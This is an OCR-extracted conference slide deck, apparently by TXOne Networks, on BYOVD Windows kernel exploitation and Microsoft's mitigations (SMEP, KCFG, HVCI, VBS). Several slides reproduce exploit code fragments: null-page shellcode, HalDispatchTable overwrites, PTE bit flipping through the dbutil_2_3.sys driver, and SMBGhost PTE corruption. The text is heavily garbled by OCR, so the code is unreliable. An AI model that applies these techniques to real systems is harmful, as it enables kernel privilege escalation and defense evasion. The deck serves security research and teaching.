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BYOVD Background: Strategies of Abusing Kernel Pwn 03 |

Several classic BYOVD exploit strategies that laid the foundation for modern
Kernel Pwn techniques. We'll explain how to achieve Kernel Code Execution,
whether it's LPE or RCE.

04 |

Microsoft Launched a new round of Pwn Attack/Mitigation

Microsoft strongly adopted the Hypervisor capability of the native chip on
each security protection to construct a series of kernel layer detection to
prevent various classic Kernel Pwn exploitation strategies. Attackers have
also proposed many ways to bypass them, since updated Windows 11 is still
under Kernel Pwn risk with the latest 11th generation Intel chips.

Practice of Windows HVCI and Virtualization-based Security (VBS)

To address the above-mentioned All in One Bypass attacker's trick of
poisoning the driver data and forging PTEs, Microsoft introduced HVCI
protection as part of Windows 11. It uses the Intel SLAT to create a second
layer of EPTE tables that allows Windows to tell the chip the sensitive PTEs
should not be forged thus providing an effective defense.

A New Trend of abusing RCE-level exploits for BYOVD

We will cover the new trend of abusing RCE-level exploits as BYOVD, the
attackers in the wild are trying to exploit the system's natural vulnerability in
the default installed driver to abuse the kernel's execution privileges without
having to mount any additional driver.
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BYOVD Background:
Strategies of Abusing Kernel Pwn
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What’s BYOVD?

* BYOVD (Bring-Your-Own-Vulnerable-Driver)

» Attackers bring their own drivers signed by WHQL which allow hackers to abuse the NT
kernel privileges e.g. EoP, PPLKiller, Mimikatz, Shutdown AV, Install untrusted Drivers, etc.

* MSI (GPU-Driver), Process-Explorer, Avast AvosLocker (BlackByte Ransom)

* Amazing Goods to Begin
* HEVD (HackSys Extreme Vulnerable Driver) — Black Hat Arsenal '16

* Known Techniques
* Function Calls from Model Specific Registers (MSR)
e Plug-and-Play Driver Vulnerabilities (PnP)
* Abuse Unprotected IOCTL Requests

g txOne
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Classic: Null Pointer Dereference
 ((3° 7 )(ZNull Pointer DereferenceD (" 7 )

* Yah, You’re good and know to free your pointer to prevent UAF
* But that is still friendly to hackers to Abuse for LPE ;)

« What & Address NULL allowed to use?
* NTVDM - Support 16bit DOS program emulator running in NT kernel

*  Windows 10+ Protection: Only NTVDM.exe can abuse NULL memory
(Yah, still vulnerable)

 All I want For Christmas is running Shellcode in Kernel ©
1.  Allocate memory able to access in Kernel
2. Write Kernel Shellcode into memory
3. Invokeitin NT Kernel ©

https://blog.xpnsec.com/hevd-null-pointer

Exploiting Windows 10 Kernel Drivers -
NULL Pointer Dereference

DWORD oldProt;

// Make sure that NULL page is RWX
VirtualProtect(®, 4896, PAGE_EXECUTE_READWRITE, &oldProt);

We will copy our shellcode to the address 1@@h:

0x100
RtlCopyMemory ((void*)@x100, shellcode, 256);

And finally we will set a pointer to our shellcade at 4h, which is the 32-bit offset to the Callback() property

used by the driver

// Set the -»Callback() function pointer
*(unsigned long long *)0x04 = @x100;

EX Command Prompt I

C:\Usersi\xpni\Desktop>
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HALDispatchTable

https://www.abatchy.com/2018/01/kernel-exploitation-7

* Execute Pointers in NT Kernel ©

hProcess = GetCurrentProcess();
// Bllocate memory at 0

* What if we cannot find any chance to hijack? addr = ( LBVOID ) sizeof( DWORD );
status = NtAllocateVirtualMemory | (HANDLE)-1,
* Old but Gold: Overwrite a Pointer called with kernel privileges §oase
L. . . &Shellcodelength,
* Exploiting Common Flaws in Driver by Ruben Santamarta (2007) MEM_RESERVE | MEM_COMMLT |MEM_TOP_DOWN,
PAGE_EXECUTE_READNRITE b
* Getting Physical with USB Type-C: Windows 10 RAM Forensics // Copy shellcodes
and UEF! Attacks (RECON'17) 77 Bigack. chaoeasybroemtafocmntion vith sieect ( PWORD )
. . . NtReadVirtualMemory( hProcess,
* HALDispatchTable is our good friend! Lol
. . g g izeonf -
* NtQuerylntervalProfile (Ring3) - KeQuerylntervalProfile (Ring0) e e
- HalDispatchTable+8h (RingQ) " =e"® "e=net pomsees
f/ Trigger ShellCode .
hEernel = LoadLibraryExA(KernelPath,0,1); // Load Ntoskrnl.exe HtQueryIntervalProfile (stProfile, &junk) ; - 0N
l// Resoclwve MmUserProbeRddress g
MmUserProbelAddress = ( DWORD ) GetProcAddress( hEernel,

"MmUserProbeAddress" );

l// Resolwve MmHighestUserAddress

MmHighestUserAddress = ( DWORD ) GetProcAddress( hKernel,
"MmHighestUserfddress") ;

l// Resclwve HalDispatchTable

HalDispatchTable = ( DWORD ) GetProchddress( hKernel,
"HalDispatchTable" );

// Get real value of xHalQuerySystemInformation

xHalQuerySystemInformation = * { DWORD* ) ( HalDispatchTable + 4 );
x¥HalQuerySystemInformation —-= IMAGEBASE;
xHalQuerySystemInformation += BaseNt

f// Get VA

HalDispatchTable —= ( DWORD ) hEKernel;

HalDispatchTable += BaseNt;
HalDispatchTable += sizeof( PVOID }; [/ Offset xHalQuerySystemInformation

// cet VA

MmUserProbeAddress —= ( DWORD ) hEernel; o
MrllserProbeAddress += BaseNt; '.g nte¥n/95ne
// Get VA :
MmHighestUserAddress —= ( DWORD ) hEernel;

MmHighestUserfddress += BaselNt;



https://www.abatchy.com/2018/01/kernel-exploitation-7

KUSER_SHARED DATA

* Allocate memory able to access in Kernel
e Ugh... What if we cannot allocate any memory in kernel?

* Thanks to those genius who playing fun with RCE exploit ©

* NSA EternalBlue, Wannacry, SMBGhost, SMBleed, etc.

. "HEHEZ memory # - ZH_KUSER SHARED DATA Kiz#iZ
7 OXI78000000000 - # &= &5%%&4 - HEE02"
by ik 2% K EIEZ AngelBoy (HITCON 2020)
https://www.abatchy.com/2018/01/kernel-exploitation-7

Play with FILE Structure

Yet i
el Another Binary Exp\oi\Ted\n\que

MR A EIPING © Pinvaa
WRBEES  RARGEE

https:l/www.s\ideshara.neUAngelBoy\/play-wilh-mes\mcmleym-ano\her-hinarymp\on-mchn‘nquo

seconre
coNuLnwe

DEVCORE

https://github.com/chompie1337/SMBGhost_RCE_PoC

KUSER_SHARED DATA = @xFFFFF78000000000
pmdl va = KUSER_SHARED DATA + 0x900

pmdl mapva = KUSER_SHARED DATA + ©x3800
pshellcodeva = KUSER_SHARED DATA + @x950

~ def do_rce(ip, port):

find_low stub(ip, port)
find_pmld selfref(ip, port)
search_hal _heap(ip, port)
build_shellcode()

print("[+] built shellcode!™)

pKernelUserSharedPTE = get pte va(KUSER_SHARED DATA)
print{"[+] KUSER_SHARED DATA PTE at %1x" % pKernelUserSharedPTE)

overwrite pte(ip, port, pKernelUserSharedPTE)
print("[+] KUSER_SHARED DATA PTE NX bit cleared!")

# Write shellcode into KUSER_SHARED_DATA & execute HalpInterruptController

Exploitation of SMBGhost

Bypass DEP

» H{Mul{E _KUSER_SHARED_DATA page 1R » &0 B o] B0 #4T

1 shellcode & recover shellcode Z KUSER_SHARD_DATA Eiif

« 72 HalpApicRequestinterrupt

» Control RIP !

« A% HalpApicRequestinterrupt 8 REfRIEILE] - BES L TEFZ
pointer il &



https://hitcon.org/2020/slides/My%20journey%20on%20SMBGhost.pdf
https://www.abatchy.com/2018/01/kernel-exploitation-7

Classic Kernel Exploitation of LPE

Process
Virtual Memory

System Interrupt

NULL Dereference

-

Kernel Mode (Ring0)

NT Kernel
Virtual Memory

~

ntdll.dll
Kernel.dll

LME (Long Mode Enable, IA32_EFER MSR)
LME == False: Use PAE 36bit paging model

LME == True: “If the LME bit is set, the processor is i
n 4-level paging mode. This mode translates 48-bit
virtual addresses into 52-bit physical addresses, tho
ugh because the virtual addresses are limited to 48-
bits, the maximum addressable space is limited to 2
56TB.”

KD> lkuser

\ 4

A 4

ntdIl!NtQuerylntervalProfile 4

ntdll!NtQuerylntervalProfile

>

2

16-bit DOS Reserved

(0x0000000000000000)

_KUSER_SHARED_DATA

Paging Model Design by Intel CPU actually.

CRO PG-flag (bit 31) — Enable paging model or physical address model.

CR4 PAE-flag (bit 5) — Physical Address Extension
*  PAE == False: Use 32bit paging model
*  PAE ==True: Use 64bit paging model, then Check LME.

(OxFFFFF78000000000)

Win7+: hallHalpInterruptController

(OXFFFFFFFFFFD00000)

(TER]]
= = Intel CPU
= = Virtual Address Translation
- | .
TITIT Physical Memory
A ~.
; \
Page Fault .
> DOS Reserved
I
i > HAL (0x1000)
!
| > ntoskrnl data
!
7 > kuser data

Win10+: nt!HalDispatchTable

/

g txOne

networks



Large Page Dirty

Accessed
Cache Disabled

Global

Copy on Write (Software)
Write Through

Owner

Prototype (Software)

Intel 4-level paging model:
Virtual Address Translation

Write (Software) — Write

N
NX Reserved PFN (36 Bits) <W P D WY Cd RUSNe] WE

63 48 12 11 1e 9 ] 7 5] 5 3 3 2 1 %]
Windows Internals, Part 1 (Page 381)
63 47 39 30 21 12 0
Intel CPU Reserved Page Map Level 4 Page Directory Pointer Page Directory Page Table Byte Within Page
Obits Ibits | 9bits | 12bits
cR3 +~——— | - - PR P = po=a= -
: | + . P L
_ | ' |
| | I |
| , | |
KRPCOESS | : |
[ |
I
Each EPROCESS have their own : | : :
CR3 (KPROCESS. DirectBase) A e ik | | RAM
to keep their current context, : —> PFN - :
and PTEs keep the status of th | |
e allocated memory [, PEN _JI il | B Mg
> Byte
Page
PDP PD PT
= txOne
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Microsoft Launched a new round
of Pwn Attack & Mitigation
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Known Mitigation of Kernel Pwn

Microsoft said “OK, enough! We’re done with that. Let’s have some Kernel Protection (&) ”
e BYOVD technique is one of the variant Attack from Kernel Pwn
* Windows 10 RS2 (1703+): Release multiple exploit protection for MS-Edge Chakra

e User mode Exploit Protection
* Defender Exploit Guard now (EMET before Win10)
* ASR, ACG, CIG, CFG

* Kernel Exploit Protection
e KASLR, PatchGuard & CRL (Certificate Revocation Lists)
e VBS (Virtualization-Based Security via Hyper-V) — Win10+
e HCVI—Kernel mode ACG
* SMEP - Kernel mode DEP
* KCFG — Kernel mode CFG
* OK. So that’s enough? ;)
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KASLR: Nah, that’s not an issue for LPE ©

* NT Kernel should be the first loaded module, which
ImageBase will be used to predict the ImageBase of all the
rest modules.

* We can leak the address just simply by Ring3 API
NtQuerySystemlnformation() or EnumDeviceDrivers()

* Black Hat USA 2012: Easy local Windows Kernel exploitation

3%BYpKernelBase

windows 0T ihtFEN k. Bl S EsNERRHE. ntoskml.exefE SRR IIIMEERF—FE. X—86s, Hak
R ABINE, BEEEE— M ELNESEE, XHKASLRIESWSHY 7. EiEE HE N EETE MEE AT, AR
1R, IEEEAEEE T B SEESIKASLR. anyway, 1EEHI 1568 — FaeR R iz chBIntoskrnI UG,

ernelImageBase()

ZEROINIT, len);
elnformation, Modules, len, &len);

ntoskrnl.exe™) 1= )
12 | }

https://bbs.kanxue.com/thread-247281.htm

As you may guess the variable kernelBase is the base address of the kernel memoryRElls RUEReETa N [-1 81 KWy

another function implemented as part of our navigation system:

DWORD64 GetKernelBaseAddress() {
DWORD cb = 0;
LPVOID drivers|[1024];

if (EnumDeviceDrivers(drivers, (drivers),
return (DWORD64)drivers([0];

return

22
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https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf

3.2 5.1 750A
SM E P With VBS: MERELGHE 7 Hyper-V - Virtualization-Based Security(VBS) &7 Hyper Guard IsE= b 1FX

CR4 BFESEHNIENS]  SRIEN CRA BEERN AL ETZIFLFE -
nobody can touch my CR4 (¢

NENEA 7 — 1R 12X shellcode FTTETSY PTE &1#9[7]9P87 U/S Fi BHIZER
Supervisor 37 » &4 SMEP 89RIFFLASER -
* SMEP: Kernel mode DEP supported by Intel CPU
* Discussion of Hack In The Box Magazine #3 (Since Win7) used to detect RING-0 code running in USER SPACE

* If CR4 SMEP-flag set, Intel will check the current shellcode is user memory address or not,
while thread running in NT kernel (register CPL != 3, Current-Privilege-Level)
def DUETMCEEENPER(ip, port, addr):

Intel Manual 3A, 2.5 Control Registers phys_addr = get_phys_addr(ip, port, addr)
SMEP-Enable Bit (bit 28 of CR4) — Enables
supervisor-mode execution prevention (SMEP) when
set. See Section 4.6, "Access Rights".

buff = read physmem_primitive(ip, port, phys_addr)

if buff iz Mone:

sys.exit("[-] read primitive failed!™)

Intel Manual 3A, 4.6 Access Rights
For accesses in supervisor mode (CPL < 3):

pte_wal = struct.unpack("<Q", buff[@:8])[e]

« For PAE paging or IA-32e paging with IA32_ EFER.MNXE def do_rce(ip, port)
= 1, access rights depend on the value of CR4.SMEP: find_low stub(ip, port) # Clear NX bit
— If CR4.SMEP = @, instructions may be fetchad find_pmls_selfref(ip, port) overwrite_val = pte_wval & (((1 << 63) - 1))

from any linear address with a valid translation search_hal_heap(ip, port)

for which the XD flag (bit 63) is @ in every
paging-structure entry controlling the

overwrite buff = struct.pack(™<Q", overwrite_val)

build_shellcode()
write_primitive{ip, port, overwrite_buff, addr)

translation.

— If CR4.SMEP = 1, instructions may be fetched print("[+] built shellcodel™) github.com/chompie1337/SMBGhost RCE_PoC
from any linear address with a valid translation

for which (1) the U/S flag is @ in at least one pKernelUserSharedPTE = get_pte_va(KUSER_SHARED DATA)

of the paging-structure entries controlling the print("[+] KUSER_SHARED_DATA PTE at %1x" % pKernelUserSharedPTE)

translation; and (2) the XD flag is @ in esvery _ g l'.XOne
paging-structure entry controlling the BUSRNRIEENEEE (ip, port, pKernelUsersharedPTE) o networks

translation. print("[+] KUSER_SHARED DATA PTE NX bit cleared!™)



Abuse PTEs to turn any code to kernel code [fib

* nt!MiGetPteAddress — Leak any Virtual Address’ PTE records
* The latest layer of PML4: A quick way to locate any virtual memory’s PTE
* After Windows 10 1607 will be randomized (Before that PML4 is fixed)

e Control the U/S bit of PTEs

* A user memory can be considered as SUPERVISOR to run in kernel mode

0: kd: uf ntlMiGetPteAddress
nt I HiGetPteAddres=s:

fff££803°632945f4 4812909 shr rox. 9

fEff£f803°632945f8 4BbBEREELE££7£000000 mov rax, YFFFFFFFFEL
fff££803° 63294602 4823c8 and TCE. TaX

fEf££803 63294605 48bB000000000080f££f mov rax |OFFFFS00000000000k |
ffff£803 63294608 48031 add raE.TCHE

fff££803° 63294617 <3 ret

# print( update for PTE control bits )
print{ "[+] PTE control bits for shellcode memory page: {:016x}".format(shellcode pte control bits usermode) )

# Phase 4: Overwrite current PTE U/S bit for shellcode page with an S (supervisor/kernel)

# Currently, the PTE control bit for U/S of the shellcode is that of a user mode memory page
# Flipping the U (user) bit to an S (supervisor/kernel) bit
shellcode_pte_control_bits_kernelmode = shellcode pte control bits usermode - 4

# Actually calling NtQueryIntervalProfile function,
# which will call HalDispatchTable + ©@x8, where the shellcode will be waiting.
~ ntdll.NtQueryIntervalProfile(
ox1234,
byref(c_ulonglong())

# Defeating DEP with VirtualAlloc. Creating RWX memory, and copying
print({ "[+] Allocating RWX region for shellcode" )
~ ptr = kernel32.VirtualAlloc(

c_int(@), # lpAddress
c_int(len({payload)), # dwSize
c_int(©x3000), # flAllocationType
c_int(ex4e) # flProtect

)

# Creates a ctype variant of the payload (from_buffer)
c_type_buffer = (c_char * len(payload)).from_buffer(payload)

print{ "[+] Copying shellcode to newly allocated RWX region™ )
v kernel32.Rt1lMoveMemory (

c_int(ptr), # Destination (pointer)
c_type_buffer, # Source (pointer)
c_int(len(payload)) # Length

)

# print( update statement for shellcode location )
print{ "[+] Shellcode is located at {@}".format(hex(ptr)) )

= txOne
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MS: Bad boy (&) Let’s Introduce our New Friend - KCFG

* Old but Gold: Overwrite HAL pointers for execution

* Exploiting Common Flaws in Drivers (2007)

* KCFG (Kernel Control Flow Guard) another SMEP &)

* Since Win10 Build 1607 / RS2 (1703)

* To avoid user-mode memory be used as kernel code

ntdll!KiUserCallForwarder+@x13:

098087ffc Ba8bfca3 4c894c2438 mov qword ptr [rsp+38h],rs

0eoe7ffc Ba8bfca8 488bc8 mov rex,rax

098087ffc Ba8bfcab 488b852ea56dee mov rax,qword ptr [[ntdll!_guard_check_icall_Fptr‘ (00607ffc'6399a1ee)]]
08087 ffc ©a8bfcb2 ffde call rax

eeee7ffc @a8bfcb4 488bcl mov rax,rcx \

8: kd> r rex . . .

rCX=000000067F Fedaed This contains LdrpValidateUserCallTarget

9: kd> k

# Child-SP RetAddr Call Site

0@ ©900PLPeD BPadf620 @8e87ffc @a8bfdee ntdll!KiUserCallForwarder+8x22

21 eoLeLELD ePadfe70 ©e087ffc @aBbfa54 ntdll!KiUserApcDispatch+@x2e

92 9000PPP0 PPadfb68 @8e87ffc ©aB54060 ntdll!NtWaitForWorkViaWorkerFactory+@x14
©3 0000LPe0 eoadfb70 ©8087ffc ©8b17bd4 ntdll!TppWorkerThread+ex308

94 ©000PPPD PPadff30 ©0PCPOL0 0POLVEPe ©xeeee7ffc @8bl7bd4

"I'll ask your body": SMBGhost pre-auth RCE abusing Direct Memory Access structs

Module: ntoskrnl.exe
PAGE:00583CBD ; _stdcall KeQueryIntervalProfile (x)
0583CBD _KeQueryIntervalProfile@4 proc near

* KCFG 1.0: Old devices, Game PC, and VM don’t enable HVCI actually Erseeva oSt e o veche

* MS finally made a CFG dispatch route to verify all the pointers
of HAL callees shouldn’t be user memory or KUSER_SHARED_DATA

or BSOD ©

* How? target address & 0x8000000000000000 =0
* KCFG 2.0: HVCI (Hypervisor Code Integrity) is enabled

* Use Hyper-V to prevent arbitrary kernel pointer hijacking

* Windows handles virtual address mapping is being able to quickly tell kernel pointers from user- sacmcobsaacor N lebprvaz o1, eax
. . . . PAGE:00583CE2 lea eax, [ebp+arg 0]
mode pointers. Memory that is mapped as part of the kernel has the highest order bits of the PR et o meeec)
address (the 16 bits we didn't use as part of the linear address translation) set to 1, while user- PAGE- 0038 3CEA paeh  oon
. . . . PAGE:00583CEC push 1
mode memory has them set to 0. This ensures that kernel-mode pointers begin with OxFFFF and PAGE: 00SBICEE  etormationin TR

user-mode pointers begin with 0x0000.”

mov edi, edi
PAGE:00583CBF push ebp

PAGE:00583CC0 mov ebp, esp

PAGE:00583CC2 sub esp, 0Ch

PAGE:00583CC5 mov eax, [ebpt+arg 0]
PAGE:00583CC8 test eax, eax

PAGE:00583CCA jnz short loc 583CD3
PAGE:00583CCC mov eax, KiProfileInterval

PAGE:00583CD1 jmp shortilocretif)EBDUE
PAGE:00583CD3 ;

PAGE:00583CD3

PAGE:00583CD3 loc 583CD3: ; CODE XREF:
KeQuezyIntErvalPrgfile (x) +D#35

PAGE:00583CD3 cmp eax, 1

PAGE:00583CDé jnz short loc 583CDF

PAGE:00583CD8 mov eax, KiP;ofileAlignmEntFixupInterval
PAGE:00583CDD jmp Short_locret7583005

PAGE:00583CDF ;

PAGE:00583CDF
PAGE:00583CDF 1057583CDF: ; CODE XREF:



https://shinnai.altervista.org/papers_videos/ECFID.pdf
https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html

Kernel Protection Architecture

Sorry...
But we’re here now

Process
Virtual Memory

ntdll.dll
Kernel.dll

System Interrupt

Kernel Virtual Memory

\ 4

A 4

v

v

16-bit DOS Reserved
(0x0000000000000000)

_KUSER_SHARED_DATA
(OxFFFFF78000000000)

Win7+: hallHalpInterruptController
(OxFFFFFFFFFFD00000)

Win10+: nt!HalDispatchTable

(TRRET]
Intel CPU

Virtual Address Translation

Page Fault

Physical Memory

4

A 4

A\ 4

A 4

DOS Reserved

HAL (0x1000)

ntoskrnl data

kuser data
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Kernel Protection Architecture Null Dereference Patch (Win10+).

Disable by Default now and only x86 NTVDM.exe allow to use

Sorry.. . 0000 00 0 0 o -
But we're here now - N\
Kernel Virtual Memory / 'TIIIT ‘-\
Process - 16-bit DOS Reserved ’ intel CPU - - |
Virtual Memory " (0x0000000000000000) | . nte . - - :
. Virtual Address Translation - - |
| TI1IL :
: I
| ) :
il System Interrupt : Physical Memory i
R _KUSER_SHARED_DATA ! :
Kernel.dll > (OXFFFFF78000000000, READ-ONLY) | !
nt!MmWriteableSharedUserData N | PagelFault L5 [Rese e I
(Windows 11 Insider Preview) : Intel SMEP 1.0 (CR4) I
| :
i !
Sensitive Kernel Function Pointers I I
(EX: HalDispatchTable) I .
: ntoskrnl data I
! KCFG router :
NT Kernel Module ‘ verify target address |
- & 0x8000000000000000 !=0 kuser data /
NT Kernel Module \‘ s
. /
AN .
’ N o o s s s s — s m— e — -
_ NT Kernel Module
" (Ntoskrnl.exe)
| 5%
63 62:52 51:12 11|10|9(8|7|6(5|4(3|2(|1]0
XD | PFN | Il |1|G|P|(D|A|P|P|U|R|P
A c|\w|/ |/
T DIT|S|W
PxE Structure: Windows SMEP Bypass U=S by Core Security




A New Question @)

F

(’ *\LC"G* |
!

¢/ a
Kernel Virtual Memory ./
Process ’
Virtual Memory |
. |
Vulnerble Kernel Driver | FINE, FINE!
0 |
pr— System Interrupt : Code Cave | Physical Memory |
" (.text, .data, .rdata, etc) | :
Kernel.dll | |
: |
! :
i Intel SMEP 1.0 (CR4) |
. Vulnerable i
Page Fault P> Sirvor B I
Sensitive Kernel Function Pointers I W I
(EX: HalDispatchTable) I .
: |
Ugh... I KCFG router :
code of the vulnerable drivers l verify target address |
is a kind of kernel code or not? - & 0x8000000000000000 !=0 /
\ E
SMEP 1.0 + 2.0: OK . . Y
KCFG 1.0: OK ntdll!NtQuerylntervalProfile NT Kernel Module e e e —— -
Null Dereference: Not Related " (Ntoskrnl.exe)
KASLR: Not Related |
63 62:52 51:12 11|10|9(8|7|6(5|4(3|2(|1]0
XD | PFN 1 1|1 |G|P|D|(A|P|P|U[R|P
A ciwi|/ |/
T DIT|S|W
PxE Structure: Windows SMEP Bypass U=S by Core Security




h Reserved PEN (36 Bits) W ; D NN Cd RUis w

63 48 12 11 1@ 9 8 7 6 5 4 3 2 1 @

KCFG + SMEP Full Bypass! // Clear the no-eXecute bit

unsigned long long taintedPte = pteBits & Bx@FFFFFFFFFFFFFFF;
printf({"[+] Corrupted PTE bits for the shellcode page: %p'\n", taintedPte);

Kernel Virtual Memory

Process
Virtual Memory

dbutil_2_3.sys

. L Physical Memor
ntdll.dll Write Primitive > g .data (ReadWrite - RWX) Y Y
Kernel.dll
Inject Kernel Shellcode |
&
Modify the PTE record of .data section
Intel SMEP 1.0 (CR4)
Vulnerable
2E Ul Driver Data
Sensitive Kernel Function Pointers
(EX: HalDispatchTable)
void exploitWork(void)
{
// Store the base of the kernel
unsigned long long baseofKernel = kernelBase("ntoskrnl.exe");
// Storing the base of the driver 0: |ﬁdé ulf:' ngégiGetPteAddress
] : . t1 tPt :
unsigned long long driverBase = kernelBase("dbutil_2_3.sys"); NT Kernel Module ?fff%sgg‘6?294???84&:18909 shr B
(NtoskrnLexe) fEEfEE03° 6329458 48bBfRfLE£££7£000000 mow rax, PFFFFFFEFFER
B fEf£ER03 63294602 48238 and TCH. LA
// Print updates £E£££803° 63294605 48BB0NO0O0NON0B0EEEf mov rax [JFFFFE00000000000h]
printf("[+] Base address of ntoskrnl.exe: @x%1lx\n", baseofKernel); EE£££B023 6329460 48031 add TaR, IeE

. . ) - fEE££803° 63294812 <3 ret
printf("[+] Base address of dbutil 2 3.sys: @x%1lx\n", driverBase);
// .data section of dbutil 2 3.sys contains a code cave

unsigned long long shellcodelocation = driverBase + 0x3010;

// Bitwise operations to locate PTE of shellcode page

unsigned long long shellcodePte = (unsigned long long)shellcodelocation »>> 9;
shellcodePte = shellcodePte & @x7FFFFFFFFS;

shellcodePte = shellcodePte + pteBase;



// Offset to ntlHalDispatchTable+@x8
unsigned long long halDispatch = baseofKernel + 0x427258;

KCFG + SMEP Fu" BypaSS! I-EIC.){IJL interactl3 = DeviceIoControl(

driverHandle,
IOCTL_READ_CODE,
&inBufi4,
sizeof(inBufl14),
&inButl4,
sizeof(inBufld),
&bytesReturnedld,
NULL

Kernel Virtual Memory

Process
Virtual Memory

dbutil_2 3.sys

\ 4

ntdll.dll Write Primitive
Kernel.dll

i Physical Memory
.data (ReadWrite - RWX)
| A
Intel SMEP 1.0 (CR4) g

Vulnerable
Driver Data

Page Fault

Sensitive Kernel Function Pointers
(EX: HalDispatchTable)

ULONG dummy = @;
NtQueryIntervalProfile( @x1234, &dummy ) ;

B C:\Windows\system32\emd.exe
c KCFG 1.0

| .
ntdll!NtQuerylntervalProfile - NT Kernel Module
g (Ntoskrnl.exe)

g txOne
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@ Win11-Kerel ROP - VMware Workstation - g x

Hle Edt View VM Tobs Heb || - | @ © @ 2 DB T I b | 2~

|lﬁ|ﬁ-u-xunelaop X

Recycle Bin

a®

Cheat Engine

Process
Hacker 2

Test Mode
Windows 11 Enterprise
Build 22000.co_release.210604-1628

T o g ~ANBDd a?f/::zh;

1: kd> g

KN




OK. Wait, What?
How about HVCI @

The Practice of Windows HVCI
(Hypervisor-Protected Code Integrity)

g txOne
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Private Memory Isolation

Modern OS only lookup virtual memory from PML4 to get the
physical memory address & memory status. But it’s vulnerabl
e while BYOVKD happened, because attackers can abuse
arbitrary kernel write to locate and control PTEs

for manipulation of existing kernel code. @ Reserved PFN (36 Bits) w
63 48 12 11 186 9 8
63 47 39 30 21 12 / 0
Intel CPU Reserved Page Map Level 4 Page Directory Pointer Page Directory Page Table / Byte Within Page
9bits 9bits 9bits 9bits 12bits
CR3  F——— o - PP e e -
A L——1-» : 4 | + : v
| | I |
| | I | PTE
KRPCOESS | | L oEN
I
I [
Each EPROCESS have their own : | : :
. - PFN +—-
CR3 (KPRO;ESS.DlrectBase) PMLA : ‘ : | RAM
to keep their current context, | > PFN T :
and PTEs keep the status of th : |
e o o
e allocated memory > — | .
> Byte
Page
PDP PD PT

g txOne

° networks



Physical RAM

0x100000—

0x300000 —

0x500000 —

How’s Intel Hypervisor Works?

Child Partition (VM Guest) @ 100000

-~
Y

User Mode (Ring3)

Process

Virtual Memory

Kernel Virtual Memory

ntdll.dll
Kernel.dll

_|—> 0x13D0000

~

Guest

Virtual Address  physical Memory

Translation

HAL (0x1000)

Access GPA 0x1000

/

—

— b

6TB

Child Partition (VM Guest) @ 300000

( User Mode (Ring3)
Process
Virtual Memory

Kernel Virtual Memory

ntdll.dll —|—>
Kernel.dll 0x1FB0O00O

Guest

Physical Memory

Virtual Address
Translation

»
P

HAL (0x1000)

_/

Child Partition (VM Guest) @ 500000

Access GPA 0x3000

Convert GPA (Guest Physical Address)
Into SPA (System Physical Address)
by Intel SLAT

( User Mode (Ring3)

Process
Virtual Memory

ntdil.dll L™

Kernel.dll

Kernel Virtual Memory

0x1AA0000

Guest
Physical Memory

~

Virtual Address

Translation

[
L

HAL (0x1000)

\ 4

(VMCS)

Virtual Machine
Control Structure

_/

Access GPA 0x2000

J

éza)

“When a VM access physical memory, with EPT enabled, :
the hypervisor will tell the CPU to intercept this r |
equest. And translate the memory the virtual machine |
is trying to access into actual physical memory.” |

————— i

txOne
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Physical RAM

0x100000—

0x300000 —

0x500000 —

How’s Intel Hypervisor Works?

Child Partition (VM Guest) @ 100000

-
Ve

User Mode (Ring3)
Process
Virtual Memory

Kernel Mode (Ring0)

Guest
Physical Memory

Kernel Virtual Memory Vel AdkTass

Translation

Return SPA =

“When a VM access physical memory, with EPT enabled,
the hypervisor will tell the CPU to intercept this r
equest. And translate the memory the virtual machine

is trying to access into actual physical memory.”
— . J

—>

—

6TB

-

Child Partition (VM Guest) @ 300000

Convert GPA (Guest Physical Address)
Into SPA (System Physical Address)

/

) Kernel Mode (Ring0)
User Mode (Ring3)

Process
Virtual Memory

Kernel Virtual Memory

Guest
Physical Memory

by Intel SLAT

Virtual Address
Translation

\ 4

Return SPA =

)

Child Partition (VM Guest) @ 500000

/

User Mode (Ring3)

Kernel Mode (Ring0)

Process

Kernel Virtual Memory

Virtual Memory

irtual Address
Translation

Guest
Physical Memory

Return SPA = [0)&10)

)

TXOne Networks | Keep the Operation Running

txOne

networks
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Second Level Address Translation (SLAT) ieeer i e ore t

Physical RAM ULONG64 All;
/ ) . struct {
Ox100000 ——» Child Partition (VM Guest) @ 100000 UINT64 Re;?d D15 7/ biJ_c 0
/ \ UINT64 Write : 1; // bit 1
User Mode (Ring3) G UINT64 Execute : 1; // bit 2
Process Kernel Virtual Memory '\ ;o 1 Address B o m—— UINT64 EPTMemoryType : 3; // bit 5:3 (EPT Memory type)
Virtual Memory | Translation UINT64 IghorePAT : 1; // bit 6
0x13D0000 HAL (0x1000 UINT64 Ignoredl : 1; // bit 7
ntdll.dll _I_> ( ) Return SPA = 1000 — UINT64 AccessedFlag : 1; // bit 8
'—_': - ni UINT64 DirtyFlag : 1; // bit 9
Kernel.dll I UINT64 ExecuteForUserMode : 1; // bit 10
| Access GPA 0x1000 UINT64 Ignored2 : 1; // bit 11
K I j UINT64 PhysicalAddress : 36; // bit (N-1):12 or PFN
l___ o ___ UINT64 Reserved : 4; // bit 51:N
v | UINT64 Ignored3 : 11; // bit 62:52
[ | | UINT64 SuppressVE : 1; // bit 63
63 47 39 30 21 12 0 I }Fields; £ ded P Table E (EPTE)
. xtended Page Table Entr
Intel CPU Reserved PML4 PDP PD PT Offset : JEPT_PTE, *PEPT_PTE; . 8 Y
9bits 9bits 9bits 12bits I Virtual Machine Control Structure
| VMCS
CR3 ——1 F““; r___l I I : )
T - | | | | Guest @ 100000
' | | | |
KRPCOESS | | | | EPTE
I I I N f—————— 1
_______________ S | | .
! I
EPT (Extended Page Tables) | | : I
“At a basic level, SLAT (EPT)! PML4A || ™ PN - :
; |
allows the.hyperv1sor to cre . (Guest) : N .
ate an additional translatio | | g
n of memory - giving the hyp | I
] |
ervisor p?wer to d?Legate me b een | LLLET
mory how it sees fit.” | = =
PDP PD PT EPT - =
| | T /
6TB §
But it sounds expensive, right? Only executing Intel HyperCall in
Yeah, so this will work only you really want to run VMs :) structions with Supervisor Privil

ege (Ring@) allows to set the EPT



Virtualization-based Security (VBS)

 Isolation is manifest through VTL (Virtual Trust Levels)
 VTL1-—(System VM) “secure kernel” - securekernel.exe

* VTLO - (Guest VM) “normal kernel” end-users interact with —
ntoskrnl.exe

typedef union _EPT_PTE {

ULONG64 All;

struct {
UINT64 Read : 1; // bit @
UINT64 Write : 1; // bit 1
UINT64 Execute : 1; // bit 2
